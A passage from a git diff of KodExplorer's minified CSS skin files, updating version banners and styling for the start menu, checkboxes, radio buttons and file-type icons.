endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 10px #fff;}.start{background:url('../../../images/common/desktop/start.png') 0 0px no-repeat;display:block;margin-top:-8px;z-index:10000;border-radius:20px;width:40px;height:40px;bottom:0px;left:5px;position:fixed;}.start:hover{text-decoration:none;background-position:0 -40px;}.start:active{text-decoration:none;background-position:0 -80px;}#randomWallpaper{position:absolute;width:40px;height:60px;bottom:30px;right:25px;z-index:10;}#randomWallpaper .flower{width:40px;z-index:3;position:absolute;top:0;cursor:pointer;left:0;}#randomWallpaper .body-line{width:5px;height:30px;position:absolute;bottom:0;left:18px;background-color:#fff;z-index:2;}#menuwin{position:absolute;left:0;bottom:33px;display:none;z-index:9999;}#menuwin #startmenu{border:solid 1px #102a3e;overflow:visible;display:block;float:left;height:404px;width:390px;opacity:0.9;filter:alpha(opacity=90);-webkit-border-radius:5px;position:absolute;box-shadow:inset 0 0 1px #fff;-webkit-box-shadow:inset 0 0 1px #fff;background-color:#619bb9;background:-webkit-gradient(linear,center top,center bottom,from(#327aa4),color-stop(45%,#2e4b5a),to(#5cb0dc));background:rgba(0,0,0,0.5);}#menuwin #leftspliter{margin:0 15px 0 15px;border-top:solid 1px #d6e5f5;}#menuwin #rightspliter{margin:0 7px 0 7px;border-top:solid 1px #596d77;}#menuwin #programs,#menuwin #links{float:left;padding:0;list-style:none;position:relative;}#menuwin #programs{background:#fff;border:solid 1px #365167;height:385px;margin:7px 0 7px 7px;box-shadow:0 0 1px #fff;width:250px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 0 1px #fff;-moz-box-shadow:0 0 1px #fff;}#menuwin #programs a{border:solid 1px transparent;display:block;padding:3px;height:30px;line-height:30px;margin:3px 10px;color:#4b4b4b;text-decoration:none;min-width:200px;}#menuwin #programs a:hover{border:solid 1px #7da2ce;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 0 1px #fff;-moz-box-shadow:inset 0 0 1px #fff;box-shadow:inset 0 0 1px #fff;background-color:#cfe3fd;background:-webkit-gradient(linear,center top,center bottom,from(#dcebfd),to(#c2dcfd));}#menuwin #programs a img{border:0;vertical-align:middle;margin:0 5px 0 0;}#menuwin #links{margin:5px;margin-top:-30px;}#menuwin #links li.icon{height:60px;}#menuwin #links a{border:solid 1px transparent;display:block;margin:5px 0;position:relative;color:#fff;text-decoration:none;min-width:120px;}#menuwin #links a:hover{border:solid 1px #000;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 0 1px #fff;-moz-box-shadow:0 0 1px #fff;box-shadow:0 0 1px #fff;background-color:#658da0;background:-webkit-gradient(linear,0% 100%,100% 100%,from(#517384),color-stop(50%,#79a3b8),to(#517384));}#menuwin #links a:hover span{background:-webkit-gradient(linear,center top,center bottom,from(transparent),color-stop(49%,transparent),color-stop(50%,rgba(2,37,58,0.5)),to(rgba(63,111,135,0.5)));}#menuwin #links a span{padding:5px;padding-left:10px;display:block;} +/* ver 3.36(2016-12-30) [build 1483112852.4566] */ \ No newline at end of file diff --git a/static/style/skin/base/app_editor.css b/static/style/skin/base/app_editor.css index 53a595a..0ca44b6 100755 --- a/static/style/skin/base/app_editor.css +++ b/static/style/skin/base/app_editor.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476939.6722] */ -::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-7z,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none 